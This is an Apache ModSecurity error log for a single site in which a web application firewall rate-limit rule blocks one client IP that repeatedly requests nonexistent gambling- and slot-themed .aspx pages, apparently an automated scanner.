[Sat May 09 04:11:20.865490 2026] [:error] [pid 9293:tid 9305] [client 51.75.119.161:38220] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "af5DaJR__qEzV5O6Z2OM_gAAAMg"]
[Sat May 09 04:11:23.399670 2026] [:error] [pid 9293:tid 9310] [client 51.75.119.161:38234] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "af5Da5R__qEzV5O6Z2ONCAAAAM0"]
[Sat May 09 04:11:25.771219 2026] [:error] [pid 9293:tid 9306] [client 51.75.119.161:39344] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "af5DbZR__qEzV5O6Z2ONGgAAAMk"]
[Sat May 09 04:11:28.305343 2026] [:error] [pid 9293:tid 9315] [client 51.75.119.161:39348] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "af5DcJR__qEzV5O6Z2ONPQAAANI"]
[Sat May 09 04:11:30.848209 2026] [:error] [pid 9187:tid 9276] [client 51.75.119.161:39350] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "af5DchC7An6gkXsRsaG9nQAAAJc"]
[Sat May 09 04:11:51.786859 2026] [:error] [pid 9920:tid 9935] [client 51.75.119.161:39356] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "af5Dh0xitGYhlzgZb5Y7WAAAAc0"]
[Sat May 09 04:11:54.098629 2026] [:error] [pid 9187:tid 9276] [client 51.75.119.161:38786] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "af5DihC7An6gkXsRsaG97wAAAJc"]
[Sat May 09 04:11:56.606810 2026] [:error] [pid 9833:tid 9853] [client 51.75.119.161:43710] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "af5DjCM9JmxIS0KGZUAfcQAAAY8"]
[Sat May 09 04:11:59.113974 2026] [:error] [pid 9187:tid 9274] [client 51.75.119.161:43714] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "af5DjxC7An6gkXsRsaG-AwAAAJU"]
[Sat May 09 04:12:01.632739 2026] [:error] [pid 9293:tid 9312] [client 51.75.119.161:43716] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "af5DkZR__qEzV5O6Z2ONsAAAAM8"]
[Sat May 09 04:12:04.022182 2026] [:error] [pid 9293:tid 9316] [client 51.75.119.161:43724] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "af5DlJR__qEzV5O6Z2ONsQAAANM"]
[Sat May 09 04:12:06.536892 2026] [:error] [pid 9920:tid 9936] [client 51.75.119.161:45756] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "af5DlkxitGYhlzgZb5Y7ewAAAc4"]
[Sat May 09 04:12:09.041551 2026] [:error] [pid 9760:tid 9782] [client 51.75.119.161:45764] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "af5DmWIkCp-C_fh0s7L2HQAAAVA"]
[Sat May 09 04:12:11.550410 2026] [:error] [pid 9293:tid 9307] [client 51.75.119.161:45766] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "af5Dm5R__qEzV5O6Z2ONxAAAAMo"]
[Sat May 09 04:12:14.049518 2026] [:error] [pid 9663:tid 9675] [client 51.75.119.161:45776] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "af5DnpcWIu01SCxbjwutYwAAAQk"]
[Sat May 09 04:12:16.378714 2026] [:error] [pid 9760:tid 9780] [client 51.75.119.161:41902] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "af5DoGIkCp-C_fh0s7L2KwAAAU4"]
[Sat May 09 04:12:18.879421 2026] [:error] [pid 9663:tid 9683] [client 51.75.119.161:41906] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "af5DopcWIu01SCxbjwuteAAAARE"]
[Sat May 09 04:12:21.140006 2026] [:error] [pid 9187:tid 9264] [client 51.75.119.161:41912] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "af5DpRC7An6gkXsRsaG-MQAAAIs"]
[Sat May 09 04:12:23.513489 2026] [:error] [pid 9187:tid 9268] [client 51.75.119.161:41918] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "af5DpxC7An6gkXsRsaG-QQAAAI8"]
[Sat May 09 04:12:26.126033 2026] [:error] [pid 9293:tid 9313] [client 51.75.119.161:45996] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "af5DqpR__qEzV5O6Z2ON7wAAANA"]
[Sat May 09 04:12:28.467912 2026] [:error] [pid 9663:tid 9682] [client 51.75.119.161:46002] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "af5DrJcWIu01SCxbjwutjwAAARA"]
[Sat May 09 04:12:30.869374 2026] [:error] [pid 9293:tid 9317] [client 51.75.119.161:46010] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "af5DrpR__qEzV5O6Z2OOAgAAANQ"]
[Sat May 09 04:12:33.297533 2026] [:error] [pid 9833:tid 9849] [client 51.75.119.161:46018] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "af5DsSM9JmxIS0KGZUAfkgAAAYs"]
[Sat May 09 04:12:35.701153 2026] [:error] [pid 9186:tid 9247] [client 51.75.119.161:44986] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "af5DsxW4eFOEw1mKOgJh0wAAAFU"]
[Sat May 09 04:12:38.111688 2026] [:error] [pid 9187:tid 9264] [client 51.75.119.161:44998] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "af5DthC7An6gkXsRsaG-YAAAAIs"]
[Sat May 09 04:12:40.512656 2026] [:error] [pid 9663:tid 9690] [client 51.75.119.161:45006] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "af5DuJcWIu01SCxbjwutnAAAARg"]
[Sat May 09 04:12:42.924186 2026] [:error] [pid 9833:tid 9846] [client 51.75.119.161:45016] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "af5DuiM9JmxIS0KGZUAfqwAAAYg"]
[Sat May 09 04:12:45.321699 2026] [:error] [pid 9184:tid 9207] [client 51.75.119.161:45022] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "af5DvYjfODqb_i0Fm99M7QAAAAo"]
[Sat May 09 04:12:47.736052 2026] [:error] [pid 9920:tid 9935] [client 51.75.119.161:58944] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "af5Dv0xitGYhlzgZb5Y7sgAAAc0"]
[Sat May 09 04:13:08.395412 2026] [:error] [pid 9187:tid 9260] [client 51.75.119.161:58958] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "af5D1BC7An6gkXsRsaG-mgAAAIc"]
[Sat May 09 04:13:10.714278 2026] [:error] [pid 9920:tid 9929] [client 51.75.119.161:55994] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "af5D1kxitGYhlzgZb5Y70QAAAcc"]
[Sat May 09 04:13:13.255877 2026] [:error] [pid 9920:tid 9940] [client 51.75.119.161:55998] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "af5D2UxitGYhlzgZb5Y73wAAAdI"]
[Sat May 09 04:13:15.727063 2026] [:error] [pid 9184:tid 9216] [client 51.75.119.161:40540] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "af5D24jfODqb_i0Fm99M_wAAABM"]
[Sat May 09 04:13:18.216467 2026] [:error] [pid 9920:tid 9924] [client 51.75.119.161:40550] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "af5D3kxitGYhlzgZb5Y76QAAAcI"]
[Sat May 09 04:13:20.523658 2026] [:error] [pid 9920:tid 9923] [client 51.75.119.161:40554] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "af5D4ExitGYhlzgZb5Y77QAAAcE"]
[Sat May 09 04:13:22.845548 2026] [:error] [pid 9293:tid 9310] [client 51.75.119.161:40562] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "af5D4pR__qEzV5O6Z2OOcgAAAM0"]
[Sat May 09 04:13:25.304815 2026] [:error] [pid 9833:tid 9858] [client 51.75.119.161:40574] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "af5D5SM9JmxIS0KGZUAf3gAAAZQ"]
[Sat May 09 04:13:27.646571 2026] [:error] [pid 9293:tid 9312] [client 51.75.119.161:51338] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "af5D55R__qEzV5O6Z2OOhwAAAM8"]
[Sat May 09 04:13:30.172897 2026] [:error] [pid 9293:tid 9311] [client 51.75.119.161:51342] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "af5D6pR__qEzV5O6Z2OOmAAAAM4"]
[Sat May 09 04:13:32.552650 2026] [:error] [pid 9663:tid 9676] [client 51.75.119.161:51348] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "af5D7JcWIu01SCxbjwut1QAAAQo"]
[Sat May 09 04:13:35.077755 2026] [:error] [pid 9293:tid 9319] [client 51.75.119.161:51362] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "af5D75R__qEzV5O6Z2OOrgAAANY"]
[Sat May 09 04:13:37.615486 2026] [:error] [pid 9760:tid 9780] [client 51.75.119.161:34396] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "af5D8WIkCp-C_fh0s7L2egAAAU4"]
[Sat May 09 04:13:40.008408 2026] [:error] [pid 9663:tid 9690] [client 51.75.119.161:34410] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "af5D9JcWIu01SCxbjwut2wAAARg"]
[Sat May 09 04:13:42.523577 2026] [:error] [pid 9663:tid 9680] [client 51.75.119.161:34422] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "af5D9pcWIu01SCxbjwut3wAAAQ4"]
[Sat May 09 04:13:44.987075 2026] [:error] [pid 9186:tid 9226] [client 51.75.119.161:34424] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "af5D-BW4eFOEw1mKOgJidAAAAEA"]
[Sat May 09 04:13:47.302796 2026] [:error] [pid 9184:tid 9208] [client 51.75.119.161:48280] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "af5D-4jfODqb_i0Fm99NDgAAAAs"]
[Sat May 09 04:13:49.769249 2026] [:error] [pid 9833:tid 9858] [client 51.75.119.161:48284] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "af5D_SM9JmxIS0KGZUAf8gAAAZQ"]
[Sat May 09 04:13:52.232722 2026] [:error] [pid 9186:tid 9247] [client 51.75.119.161:48290] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "af5EABW4eFOEw1mKOgJifgAAAFU"]
[Sat May 09 04:13:54.682327 2026] [:error] [pid 9293:tid 9299] [client 51.75.119.161:48304] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "af5EApR__qEzV5O6Z2OO1AAAAMI"]
[Sat May 09 04:13:57.148266 2026] [:error] [pid 9293:tid 9311] [client 51.75.119.161:57698] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "af5EBZR__qEzV5O6Z2OO2wAAAM4"]
[Sat May 09 04:13:59.602832 2026] [:error] [pid 9186:tid 9243] [client 51.75.119.161:57706] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "af5EBxW4eFOEw1mKOgJifwAAAFE"]
[Sat May 09 04:14:02.047979 2026] [:error] [pid 9293:tid 9310] [client 51.75.119.161:57722] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "af5ECpR__qEzV5O6Z2OO9QAAAM0"]
[Sat May 09 04:14:04.404761 2026] [:error] [pid 9293:tid 9301] [client 51.75.119.161:57734] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "af5EDJR__qEzV5O6Z2OPBAAAAMQ"]
[Sat May 09 04:14:25.278660 2026] [:error] [pid 9293:tid 9297] [client 51.75.119.161:60644] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "af5EIZR__qEzV5O6Z2OPggAAAMA"]
[Sat May 09 04:14:27.535776 2026] [:error] [pid 9186:tid 9247] [client 51.75.119.161:43120] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "af5EIxW4eFOEw1mKOgJinQAAAFU"]
